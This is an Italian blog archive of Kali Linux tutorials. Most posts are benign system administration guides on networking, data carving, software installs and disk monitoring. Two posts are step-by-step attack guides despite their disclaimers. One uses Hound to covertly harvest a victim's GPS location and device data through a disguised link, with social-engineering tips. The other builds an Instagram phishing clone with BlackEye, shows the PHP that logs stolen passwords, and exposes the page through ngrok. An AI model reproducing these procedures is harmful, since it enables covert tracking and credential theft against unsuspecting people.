Visualizzazione post con etichetta Kali Linux. Mostra tutti i post
Visualizzazione post con etichetta Kali Linux. Mostra tutti i post

venerdì 4 luglio 2025

Hound: Raccolta Remota di Coordinate GPS e Dati Dispositivo

Nel mondo digitale iperconnesso in cui viviamo, dispositivi come smartphone, tablet e PC sono diventati strumenti indispensabili per quasi tutte le nostre attività. Se da un lato questa costante connettività porta a notevoli vantaggi, dall'altro comporta anche grandi rischi: ogni dispositivo può diventare una porta d'accesso per i cybercriminali che, grazie a tecniche sempre più sofisticate, riescono a localizzare e monitorare gi spostamenti della vittima in tempo reale senza che questa se ne accorga. Oltre alla posizione possono essere raccolti dati come l'indirizzo IP, il browser utilizzato, il sistema operativo e la risoluzione dello schermo. Incrociando tali informazioni con le abitudini online della vittima (siti visitati, contenuti preferiti, orari, ecc) è possibile creare un profilo dettagliato della sua identità digitale.

In questo contesto si inserisce Hound (https://github.com/techchipnet/hound), uno strumento open-source progettato per ottenere in maniera semplice e remota le coordinate GPS esatte di un dispositivo target, insieme a un set informativo completo sul sistema. Questo articolo esplorerà le sue capacità, le implicazioni e le considerazioni etiche legate al suo utilizzo.


Una piattaforma completa di Data Gathering
Hound non si limita alla sola rilevazione delle coordinate GPS utilizzando un server PHP ma è in grado di raccogliere in modo automatico un'ampia gamma di informazioni sul dispositivo remoto, incluse:
  • Coordinate GPS(latitudine e longitudine)
  • Modello del dispositivo
  • Sistema operativo in uso
  • Numero di core della CPU
  • Risoluzione dello schermo
  • User agent del browser
  • Indirizzo IP pubblico
  • Nome del browser
  • Informazioni sull'ISP

Questi dati vengono acquisiti tramite la semplice apertura di un link da parte dell'utente target, rendendo il processo di raccolta estremamente veloce, silenzioso e immediato. L'approccio minimalista ma efficace di Hound permette agli operatori di ottenere preziose informazioni in tempo reale senza bisogno di software complessi o configurazioni avanzate.


Installazione e utilizzo di Hound
Di seguito verranno mostrati i passaggi per l'installazione di Hound su una distribuzione Kali Linux.

Per poter operare, Hound richiede la presenza di alcuni componenti fondamentali sul sistema. Nello specifico, la sua architettura si basa su un web server PHP per la gestione delle interazioni remote, mentre wget e unzip sono necessari per il download e l'estrazione dei file relativi a Cloudflare, un componente spesso utilizzato per la risoluzione DNS e la protezione del traffico web. Per installare tali componenti, eseguire il seguente comando dalla finestra terminale eseguita come root
apt-get -y install php unzip git wget
Installa dipendenze
FIG 1 - Installa dipendenze


Per installare ed avviare Hound eseguire i seguenti comandi da terminale
git clone https://github.com/techchipnet/hound
cd hound
bash hound.sh
git clone
FIG 2 - git clone


All'avvio di Hound viene chiesto se utilizzare il tunnel Cloudflare (l'opzione è impostata di default su YES).  Digitare Y e premere invio. L'utilizzo del tunnel Cloudflare consente una connessione sicura tra il proprio server e la rete Cloudflare evitando di dover aprire porte sul firewall e configurare un ip pubblico.
Hound
FIG 3 - Hound


Dopo aver risposto affermativamente all'utilizzo del tunnel Cloudflare, Hound procederà al download dei file necessari, avviare il server PHP e il servizio di tunneling. Completate queste fasi, verrà mostrato un link (Direct link) che rappresenta l'url da inviare alla potenziale vittima.
Hound, Direct link
FIG 4 - Hound, Direct link


Solitamente l'URL viene camuffata prima di essere inviata. I cybercriminali impiegano una varietà di metodi avanzati per nascondere i link malevoli, facendoli apparire legittimi e quindi più propensi a ingannare gli utenti ignari. Una tecnica prevalente prevede la manipolazione del DNS, dove gli aggressori compromettono la configurazione DNS di un dominio apparentemente autentico. Ciò consente loro di reindirizzare subdolamente gli utenti a un sito web dannoso senza che la vittima se ne accorga.

Per un camuffamento più semplice ma comunque efficace, vengono frequentemente utilizzati servizi di accorciamento URL come Bitly o TinyURL. Sfruttando queste piattaforme ampiamente riconosciute, un URL lungo e sospetto può essere trasformato in un link conciso e apparentemente innocuo come, ad esempio, bit.ly/Test-Intelligenza.

Il link ingannevole viene poi spesso distribuito sotto le spoglie di un servizio benefico, come uno strumento basato sull'intelligenza artificiale progettato per localizzare contatti nelle vicinanze. Questa tattica di ingegneria sociale mira a persuadere la vittima a concedere permessi, come la condivisione della posizione. Fondamentale è che, anche se l'utente rifiuta queste autorizzazioni esplicite, il semplice accesso al link mascherato può esporre dati preziosi all'aggressore. Aprendo il link, la vittima visualizzerà il messaggio indicato in FIG 5.
Messaggio visualizzato
FIG 5 - Messaggio visualizzato


In caso di esecuzione riuscita, l'aggressore ottiene l'accesso a una vasta gamma di informazioni sulla vittima come coordinate GPS, tipo di browser, specifiche del dispositivo, indirizzo IP, risoluzione dello schermo, ecc.
Hound, Information Gathering Report
FIG 6 - Hound, Information Gathering Report


Utilizzi Legittimi e Riflessioni Etiche
Sebbene Hound sia uno strumento potente e accessibile, è fondamentale ricordare che il suo utilizzo deve sempre avvenire nel rispetto della privacy altrui e delle normative vigenti. Come qualsiasi strumento di raccolta dati, è indispensabile ottenere il consenso esplicito degli utenti coinvolti. L'intento di questo articolo è puramente informativo e rivolto a un pubblico professionale consapevole dei rischi e delle responsabilità connesse all'uso di tali strumenti.






lunedì 30 giugno 2025

Kali Linux: Assegnare un Indirizzo IP Statico con nmcli

Nel cuore di ogni rete moderna, sia essa domestica o aziendale, batte un sistema di identificazione fondamentale: l'indirizzo IP (Internet Protocol). Questo identificativo numerico, una sequenza di quattro numeri separati da punti (es. 192.168.1.10), è l'equivalente digitale di un indirizzo civico per ciascun dispositivo connesso, sia via cavo che Wi-Fi. La sua unicità all'interno della rete locale è cruciale per il corretto instradamento dei dati.

Generalmente è il router il responsabile principale dell'assegnazione degli IP e questa operazione avviene in automatico grazie al protocollo DHCP (Dynamic Host Configuration Protocol). Il DHCP gestisce in modo intelligente la distribuzione degli indirizzi disponibili, prevenendo conflitti e garantendo che ogni nuovo dispositivo ottenga un'identità.

Tuttavia, la natura dinamica del DHCP, che può riassegnare un IP diverso ad ogni riavvio o riconnessione del dispositivo, pur essendo efficiente per la maggior parte degli scenari, può diventare un ostacolo in situazioni specifiche. Immaginate di configurare un server, una stampante di rete, un NAS (Network Attached Storage) o qualsiasi altro servizio che deve essere accessibile in modo prevedibile e costante. In questi contesti, un indirizzo IP dinamico può causare interruzioni di servizio o difficoltà di accesso. È qui che entra in gioco l'indirizzo IP statico: un'assegnazione fissa che garantisce la raggiungibilità del dispositivo allo stesso indirizzo nel tempo. Sebbene l'IP statico possa essere gestito anche dal server DHCP tramite una "prenotazione DHCP" (nota anche come IP reservation o DHCP static lease), in questo articolo ci concentreremo su come configurare direttamente un IP statico dal client Linux, offrendo un controllo granulare e immediato.

Configurazione di un IP Statico con nmcli
Uno strumento da riga di comando utile per la gestione della rete e incluso nelle principali distribuzioni Linux è nmcli. Può essere utilizzato per creare, modificare o rimuovere connessioni di rete, nonché per configurare manualmente un indirizzo IP statico.

Per iniziare, è possibile visualizzare le connessioni di rete configurate con il comando:
nmcli connection show
o
nmcli con show
Questo mostrerà un elenco delle connessioni disponibili, comprensive dei nomi e delle interfacce di rete associate (come ad esempio eth0).
Connessioni di rete configurate
FIG 1 - Connessioni di rete configurate


Prima di procedere con la configurazione tramite nmcli bisogna disporre di alcune informazioni necessarie come l'indirizzo ip statico da assegnare, indirizzo del gateway, interfaccia di rete (in FIG 1 è eth0) e server DNS. Con tali informazioni possiamo eseguire il comando
sudo nmcli con add con-name "ip-statico" ifname eth0 type ethernet ip4 192.168.0.22/24 gw4 192.168.0.1

con-name "ip-statico": Assegna un nome descrittivo alla nuova connessione facilitandone l'identificazione.
ifname eth0: Specifica il nome dell'interfaccia di rete fisica a cui si applica questa configurazione (es. eth0).
type ethernet: Indica che si tratta di una connessione di tipo Ethernet. Per Wi-Fi, va utilizzato type wifi.
ip4 192.168.0.22/24: Imposta l'indirizzo IPv4 statico (192.168.0.22) e la subnet mask (/24 equivale a 255.255.255.0). Assicurati che l'IP scelto sia all'interno del range della rete locale.
gw4 192.168.0.1: Configura l'indirizzo del gateway predefinito per IPv4. Questo è tipicamente l'indirizzo IP del router.
Imposta IP statico
FIG 2 - Imposta IP statico


Configurato l'ip statico è possibile passare alla configurazione dei server DNS.
I server DNS (Domain Name System) sono essenziali per la risoluzione dei nomi di dominio (es. google.com in 142.250.186.206). É possibile utilizzare quelli forniti dal proprio ISP, o server DNS pubblici affidabili come quelli di Google (8.8.8.8, 8.8.4.4) o Cloudflare (1.1.1.1, 1.0.0.1):
Il comando per settare i server DNS è
nmcli con mod "ip-statico" ipv4.dns "8.8.8.8,8.8.4.4"

Imposta server DNS
FIG 3 - Imposta server DNS


Abilitare la modalità di configurazione manuale, disattivando il DHCP, con il comando
nmcli con mod "ip-statico" ipv4.method manual

Attivare la nuova connessione con
nmcli con up "ip-statico" ifname eth0
Disattivazione DHCP e attivazione connessione
FIG 4 - Disattivazione DHCP e attivazione connessione


L’assenza di messaggi di errore indica che la configurazione è avvenuta correttamente. Per confermare l’attivazione della connessione e verificarne i dettagli, si può rieseguire il comando
nmcli connection show
Nuova connessione attiva
FIG 5 - Nuova connessione attiva



Altri comandi utili per la gestione delle reti
Per controllare l’indirizzo IP attualmente assegnato al sistema, si può utilizzare
ip addr

Questo comando fornisce informazioni dettagliate sulle interfacce di rete e sugli indirizzi IP assegnati.
ip addr
FIG 6 - ip addr


Per verificare se un dispositivo è raggiungibile e attivo si può usare il comando ping 
ping <indirizzo_IP>
ad esempio
ping 192.168.0.1


Per individuare l’indirizzo del gateway predefinito (di solito il router), si utilizza:
ip r
ip r
FIG 7 - ip r







domenica 12 febbraio 2023

Linux: Data carving

Il data carving è una tecnica utilizzata per recuperare i dati da un supporto di memorizzazione, come un disco rigido o una scheda di memoria, in seguito a una cancellazione accidentale o intenzionale, oppure in caso di danneggiamento del supporto stesso. Il data carving consiste nell'analizzare l'immagine del supporto di memorizzazione per individuare i frammenti di dati ancora presenti e salvarli in una nuova posizione. Questa tecnica può essere utilizzata per recuperare file, immagini, video e altri tipi di dati ed è fondamentale anche nelle investigazioni digitali forensi.

Quando un file viene salvato su un disco rigido, viene suddiviso e scritto in contenitori logici detti cluster. Ogni cluster è composto da un certo numero di settori, che sono le unità di base di memorizzazione su un disco rigido. Il sistema operativo utilizza una File Allocation Table (FAT) o una Master File Table (MFT) per tenere traccia della posizione dei cluster sul supporto di memoria.

Ogni volta che un file viene salvato, il sistema operativo cerca una serie di cluster vuoti contigui che siano sufficienti per contenere tutti i dati del file. Una volta individuati, i cluster vengono marcati come utilizzati e i dati del file vengono scritti su di essi. Se un file è troppo grande e non ci sono cluster vuoti contigui in grado di contenerlo, viene diviso in più parti e memorizzato in cluster diversi e non contigui. Il sistema operativo utilizza la FAT o l'MFT per tenere traccia della posizione di ogni parte del file sulla memoria. In questo modo, quando si apre un file, il sistema operativo può riunire tutte le sue parti.

Quando si cancella un file questo non viene in realtà rimosso dall'hard disk; viene rimosso il suo riferimento nella struttura del file system e lo spazio occupato dal file viene classificato come spazio non allocato. Proprio sullo spazio non allocato in un sistema di storage (hard disk, pendrive, ecc) si applica il data carving per recuperare i file e catalogarli sulla base del loro header e footer (stringhe esadecimali all'inizio e fine del file). Per il riconoscimento del tipo di file si ricorre al database dei magic number (firme esadecimali). Il magic number è costituito da una serie di byte specifici (da 2 a 10 byte) solitamente posizionati all'inizio del file, che vengono utilizzati per identificarne il tipo. Ad esempio, un file JPEG avrà un magic number specifico (FF D8 FF EE) diverso da un file PNG (89 50 4E 47). Quasi tutti i formati di file sono identificati da un magic number

Data carving con Scalpel

Uno degli strumenti più utilizzati e molto apprezzato per il data carving è Scalpel (https://github.com/machn1k/Scalpel-2.0). Tale strumento è già presente in Kali Linux. Per installarlo su distribuzioni Linux derivanti da Debian è possibile utilizzare i seguenti comandi da terminale
sudo apt-get update
sudo apt-get install scalpel

Prima di avviare lo strumento è necessario andare a modificare il file di configurazione /etc/scalpel/scalpel.conf che ha tutte le righe commentate. In base alla tipologia di file che si intende recuperare è necessario andare a rimuovere il commento dalla relativa riga. 

Aprire il file di configurazione con un editor di testo. In Kali Linux è possibile utilizzare l'editor nano con il comando da terminale
sudo nano /etc/scalpel/scalpel.conf

Per recuperare un file PDF eliminato da una pendrive è necessario andare a rimuovere i commenti relativi ai tipi di file PDF (FIG 1) presenti nel file di configurazione. 
File di configurazione scalpel.conf
FIG 1 - File di configurazione scalpel.conf

Premere CTRL + X per uscire dall'editor e confermare la modifica premendo Y seguito da Invio.
Salva modifica del  file di configurazione
FIG 2 - Salva modifica del  file di configurazione


La sintassi di scalpel è la seguente
scalpel -c fileconfig.conf unità -o /percorso/file/output

Il percorso dell'output deve risiedere su un unità diversa da quella da cui si sta tentando di recuperare i dati. Per identificare la pendrive eseguire il comando
lsblk 
lsblk
FIG 3 - lsblk

Dalla FIG 3 si evince che la pendrive è stata montata come sdb1. Eseguire una finestra terminale come root ed avviare il data carving con il comando
scalpel -c /etc/scalpel/scalpel.conf /dev/sdb1 -o /home/kali/Desktop/Recover
Avvio data carving con scalpel
FIG 4 - Avvio data carving con scalpel
Il comando creerà una cartella Recover sul Desktop contenente un file audit.txt (in cui saranno elencati eventuali file recuperati e altre informazioni sul processo) e una cartella contenente i file recuperati.
Risultati del data carving di scalpel
FIG 5 - Risultati del data carving di scalpel

File audit.txt
FIG 6 - File audit.txt

File recuperati da scalpel
FIG 7 - File recuperati da scalpel


Scalpel consente di effettuare il data carving anche su immagini di dischi virtuali (VDI, Virtual Disk Image) di VirtualBox. In questo caso il comando da eseguire sarà del tipo
scalpel -c /etc/scalpel/scalpel.conf /percorso/Immagine/file.vdi -o /home/kali/Desktop/Recover




mercoledì 9 febbraio 2022

Kali Linux: Installare TeamViewer

TeamViewer è una delle piattaforme per l'accesso ed il supporto remoto più note e utilizzate. In questo breve tutorial verrà mostrato come installarlo su Kali Linux.

Per l'installazione è possibile scaricare manualmente il pacchetto Debian (.deb) dal sito www.teamviewer.com oppure, come vedremo di seguito, installarlo tramite il repository APT di TeamViewer dopo averlo aggiunto a Kali Linux. 

Il primo passo consiste nell'aggiungere il repository di TemaViewer a Kali Linux e per farlo basta eseguire il seguente comando da Terminale
echo "deb http://linux.teamviewer.com/deb stable main" | sudo tee /etc/apt/sources.list.d/teamviewer.list

Aggiornare l'elenco dei pacchetti con il comando
sudo apt update
Configurazione repository TeamViewer e aggiornamento elenco pacchetti
FIG 1 - Configurazione repository TeamViewer e aggiornamento elenco pacchetti


Installare la chiave GPG di TeamViewer
sudo apt -y install gpg ca-certificates
wget -O - https://download.teamviewer.com/download/linux/signature/TeamViewer2017.asc | sudo apt-key add -
Chiave GPG
FIG 2 - Chiave GPG


Lanciare l'installazione di TeamViewer
sudo apt update
sudo apt install teamviewer
Avvio installazione TeamViewer
FIG 3 - Avvio installazione TeamViewer

Ricercare TeamViewer utilizzando l'apposita funzione di Desktop Launcher e avviarlo oppure eseguire il comando teamviewer da Terminale
Avvio TeamViewer
FIG 4 - Avvio TeamViewer

Accettare l'EULA e cliccare su Continue.
EULA
FIG 5 - EULA

Ci ritroveremo dinanzi ad una finestra come quella mostrata in FIG 6.
TeamViewer
FIG 6 - TeamViewer








lunedì 31 gennaio 2022

Kali Linux: Rubare credenziali di accesso ad un sito Internet tramite phishing

In quest'articolo vedremo come sia semplice mettere su un sito di phishing per rubare le credenziali di un utente sprovveduto. Tali operazioni vengono eseguite anche da alcune aziende al fine di verificare se i propri impiegati abboccano alle email e ai siti di phishing. 

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Preparazione sito phishing

Il primo passo consiste nel clonare il sito, o almeno la pagina di autenticazione, di nostro interesse. L'operazione può essere eseguita in diversi modi, manualmente, tramite il classico comando wget, sfruttando tool come httrack, utilizzando Social-Engineer Toolkit (SET) incluso in Kali Linux, ecc.  In quest'articolo, per semplicità, verrà utilizzato il tool BlackEye che ci consentirà di raggiungere il nostro obiettivo in maniera più rapida dato che integra le pagine di logon dei siti più popolari come Instagram, Facebook, Apple, Twitter, Twitch , ecc.

Per scaricare il tool, eseguire il seguente comando da una finestra terminale
git clone https://github.com/An0nUD4Y/blackeye.git
Download BlackEye
FIG 1 - Download BlackEye
Supponiamo di essere interessati alla pagina di logon di Instagram. Visualizziamo il contenuto della cartella /home/kali/blackeye/sites/instagram. Come visibile in FIG 2 la cartella contiene 5 elementi: la sottocartella index_files, contenente immagini e altri file relativi alla pagina fake, e 4 file (index.php, ip.php, login.html, login.php)
Login Instagram
FIG 2 - Login Instagram

Apriamo il file index.php ed esaminiamo il suo contenuto
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
Instagram, Index.php
FIG 3 - Instagram, Index.php
Nel codice notiamo che la prima operazione eseguita è l'inclusione del file ip.php
La funzione header() viene utilizzata per inviare un'intestazione HTTP raw e tramite Location viene specificato il nome del file da richiamare.
Eliminare dal codice la riga 2 
include 'ip.php';
che non ci interessa e salvare il file. Il suo contenuto dopo la modifica sarà:
<?php
header('Location: login.html');
exit
?>

Aprire il file login.html tramite il browser per trovarsi dinanzi ad una copia della pagina di login di Instagram. Per analizzare il funzionamento della pagina clone all'inserimento delle credenziali, attivare l'inspector premendo il tasto F12. Cliccare, con il tasto destro del mouse, sul pulsante Log in e selezionare Inspect Element
Browser, Inspect Element
FIG 4 - Browser, Inspect Element

Analizzando il codice della pagina, vediamo che il testo digitato dall'utente nel campo Phone number, username, or email verrà assegnato alla variabile chiamata username
<input type="text" class="_ph6vk _jdqpn _o716c" id="fa4e2a34ab06a" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" autocapitalize="off" autocorrect="off" maxlength="30" name="username" value="">
Allo stesso modo il contenuto del campo Password verrà assegnato alla variabile password.
<input type="password" class="_ph6vk _jdqpn _o716c" id="faa2da1ad083" aria-describedby="" placeholder="Password" aria-required="true" autocapitalize="off" autocorrect="off" name="password" value="">

Una cosa che balza subito all'occhio è che la maschera di login viene gestita con il form _3jvtb e, cliccando sul pulsante Log in, viene richiamato il file login.php
<form class="_3jvtb" action="login.php" method="POST">
Form
FIG 5 - Form

Ritorniamo alla cartella /home/kali/blackeye/sites/instagram e analizziamo il contenuto del file login.php:
<?php

file_put_contents("usernames.txt", "Account: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://instagram.com');
exit();
Il codice presente nel file è molto semplice. Tramite la funzione file_put_contents le variabili username e password contenenti le credenziali sottratte alla vittima tramite phishing, vengono salvate all'interno del file usernames.txt. A questo punto la funzione header reindirizzerà il browser della vittima verso il sito Instagram ufficiale (https://instagram.com).
login.php
FIG 6 - login.php

Avviare una finestra terminale come root e posizionarsi sulla cartella /home/kali/blackeye/sites/instagram con il comando
cd /home/kali/blackeye/sites/instagram
Creare il file usernames.txt eseguendo
echo Phishing data > usernames.txt
Assegnare i permessi completi con il comando
sudo chmod 777 usernames.txt 

Per pubblicare il sito fake sulla nostra macchina Linux dobbiamo spostare tutti i file in /var/www/html. Dalla stessa finestra terminale eseguire il comando
cp index_files/ -r index.php login.html login.php usernames.txt /var/www/html
Avviare il servizio Apache con il comando
service apache2 start
Copia file e avvio del servizio Apache
FIG 7 - Copia file e avvio del servizio Apache

All'interno della nostra rete locale la pagina fake sarà raggiungibile ad un indirizzo del tipo 
http://192.168.1.120/login.html 
dove 192.168.1.120 è l'indirizzo IP della nostra macchina Kali Linux. Per fare in modo che la pagina sia raggiungibile anche dall'esterno della rete locale possiamo utilizzare il servizio ngrok

Rendere il sito di phishing raggiungibile da Internet

Il servizio Ngrok consente di rendere raggiungibile i server locali, anche dietro NAT e firewall, su Internet attraverso il tunneling. Per usufruire del servizio dobbiamo registrarci al sito e scaricare il software per la nostra piattaforma.

La registrazione al sito richiede pochi istanti. Una volta cliccato su Sign up presente sulla homepage https://ngrok.com, basta digitare il nome desiderato, una password e fornire un indirizzo email valido su cui verrà inviata un'email per confermare la propria registrazione. 
Una volta eseguito il login, accedere alla sezione Your Authtoken e prendere nota del proprio authtoken

ngrok authtoken
FIG 8 - Ngrok authtoken


Da browser accedere alla pagina ufficiale del tool per il download https://ngrok.com/download.
Selezionare Linux quindi cliccando con il tasto destro del mouse su Download, copiamo il link e usiamo wget per scaricare il file. Il comando da eseguire da Terminale sarà analogo al seguente
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.tgz
sito Ngrok
FIG 9 - Sito Ngrok

Download di Ngrok
FIG 10 - Download di Ngrok

Sempre da Terminale, scompattare il file tgz scaricato con il comando
tar zxvf ngrok-stable-linux-amd64.tgz
Autenticare il proprio agent Ngrok tramite l'Authtoken utilizzando il comando
./ngrok authtoken xxxx
al posto di xxxx va indicato l'Authtoken visto nei passaggi precedenti.
Per avviare ngrok e abilitare il traffico HTTP tramite la porta 80 (quella utilizzata dal server Apache avviato precedentemente) digitare ed eseguire da terminale il comando
./ngrok http 80
Sessione Ngrok
FIG 11 - Sessione Ngrok

A questo punto, la nostra pagina fake sarà raggiungibile anche all'esterno della nostra rete locale con l'indirizzo pubblico fornito da Ngrok ed evidenziato nei campi Forwarding. In pratica viene effettuato un forward della porta e viene settato un tunnel: dalla porta 80 della nostra postazione verso l'indirizzo pubblico http://b46f-79-19-195-242.ngrok.io (FIG 10). Per fare in modo che venga visualizzata la nostra pagina fake dobbiamo aggiungere all'indirizzo il nome del file contenente la pagina. Nel nostro caso l'indirizzo completo sarà http://b46f-79-19-195-242.ngrok.io/login.html.

Quando la vittima inserirà le proprie credenziali queste verranno memorizzate all'interno del file usernames.txt
Credenziali rubate
FIG 12 - Credenziali rubate








mercoledì 26 gennaio 2022

Kali Linux: Installare PowerShell

Per installare PowerShell in Kali Linux eseguire, dalla finestra Terminale, i seguenti comandi
sudo apt update
sudo apt -y install powershell
Kali Linux, installare PowerShell
FIG 1 - Kali Linux, installare PowerShell

Al termine dell'installazione del pacchetto basterà eseguire pwsh per avviare PowerShell e trovarsi dinanzi al familiare prompt "PS".


Disinstallazione

Per disinstallare PowerShell basta eseguire dalla finestra Terminale il comando
sudo apt-get remove powershell
Per rimuovere PowerShell e le sue dipendenze il comando da eseguire è
sudo apt-get -y autoremove powershell





sabato 22 gennaio 2022

Kali Linux: Installare Visual Studio Code

Visual Studio Code è un editor di codice sorgente gratuito sviluppato da Microsoft per i sistemi Windows, Linux e macOS. Combina la semplicità di un editor di codice sorgente con potenti strumenti di sviluppo, come il completamento del codice IntelliSense e il debug. Si tratta di uno strumento molto apprezzato tra gli sviluppatori e in questo breve articolo vedremo come installarlo in ambiente Kali Linux. Per l'installazione utilizzeremo il repository ufficiale APT prima, però, aggiorniamo il repository e installiamo il package indicato di seguito
sudo apt update
sudo apt install curl gpg software-properties-common apt-transport-https
Aggiornamento repository e installazione package
FIG 1 - Aggiornamento repository e installazione package


Importiamo la chiave Microsoft GPG in Linux con il comando
curl -sSL https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -

Il prossimo passo consiste nell'aggiungere il repository APT per Visual Studio Code a Kali Linux
echo "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main" | sudo tee /etc/apt/sources.list.d/vscode.list
Aggiungere repository per Visual Studio Code
FIG 2 - Aggiungere repository per Visual Studio Code

Infine avviare l'installazione con i comandi
sudo apt update
sudo apt install code
Installazione Visual Studio Code
FIG 3 - Installazione Visual Studio Code

L'installazione non richiede molto tempo ma dipende dalla velocità di connessione ad Internet. Terminata l'installazione eseguire Visual Studio Code con il comando
code
Visual Studio Code per Kali Linux
FIG 4 - Visual Studio Code per Kali Linux








domenica 9 gennaio 2022

Kali Linux: Monitoraggio di sistema tramite Bpytop

Il monitoraggio di sistema è un operazione importante sia per l'amministratore del sistema che per gli utenti. Sapere quali sono i processi in esecuzione, le risorse della CPU impegnate e la quantità di memoria utilizzata può essere fondamentale per individuare colli di bottiglia, problemi sul sistema o relativi al software in esecuzione. Un metodo veloce per ottenere tali informazioni è quello di eseguire, da una finestra terminale, il comando top che visualizza dettagli importanti sui task in esecuzione. Come spesso capita con gli strumenti a riga di comando in Linux, la rappresentazione grafica dell'output non aiuta nell'interpretazione dei dati. 
top
FIG 1 - top
Se si desidera un'esperienza più grafica e immediata è possibile adottare Bpytop come strumento di monitoraggio. Bpytop visualizza più informazioni rispetto a top inoltre la rappresentazione grafica dell'utilizzo della CPU e di tutti i core, gli istogrammi colorati relativi all'utilizzo della memoria e dello spazio su disco rendono la lettura dei dati più immediata e semplice. L'estetica, la personalizzazione, la possibilità di filtrare i dati e il supporto per il mouse rendono tale strumento adatto sia all'utente inesperto che a quelli avanzati.

Prima di poter utilizzare tale strumento nella distribuzione Kali Linux va installato. Per l'installazione tramite pip3 basta eseguire i seguenti comandi da terminale
sudo apt install python3-pip
sudo pip3 install bpytop
Install python3-pip
FIG 2 - Install python3-pip

Install bpytop
FIG 3 - Install bpytop


Terminata l'installazione, per eseguire il tool digitare il comando
bpytop 

bpytop
FIG 4 - bpytop


Per ulteriori informazioni e per la documentazione di tale strumento è possibile consultare la pagina https://github.com/aristocratos/bpytop.






giovedì 16 dicembre 2021

Kali Linux: Controllare lo spazio su disco da terminale

Per controllare l'utilizzo dello spazio su disco da terminale ci sono due comandi classici disponibili per ogni distribuzione Linux: du e df.

Il comando du (Disk Usage) visualizza lo spazio utilizzato dai file o da una directory. Ad esempio, per sapere lo spazio utilizzato dalla directory corrente è possibile utilizzare il comando
du -sh
dove l'opzione -s riassume lo spazio che una directory sta utilizzando e l'opzione -h fornisce un output "Human-readable".
Disk Usage
FIG 1 - Disk Usage


Il comando df (Disk Free) viene usato per controllare lo spazio libero su disco. Tramite df è possibile visualizzare le statistiche sulla quantità di spazio libero su disco, sul file system specificato o sul file system contenente il file indicato. Digitando da terminale il seguente comando
df -h
verranno visualizzate le statistiche sulla quantità di spazio libero/utilizzato su disco.
Disk Free
FIG 2 - Disk Free

L'output fornito dai comandi du e df non è facile da leggere. Una valida alternativa ai due comandi integrati in Linux è duf (Disk Usage/Free), un tool che di fatto è il coltellino svizzero degli strumenti di visualizzazione dell’uso dei dischi basato sulla shell.
Per installare tale strumento in Kali Linux, eseguire da una finestra terminale  il comando
sudo apt install duf

Terminata l'installazione basta eseguire il tool con il comando da terminale
duf
per visualizzare in una modalità più User-friendly, le statistiche relative allo spazio su disco.
duf, Disk Usage/Free
FIG 3 - duf, Disk Usage/Free

Per visualizzare tutti i comandi/parametri disponibili in duf eseguire
duf --help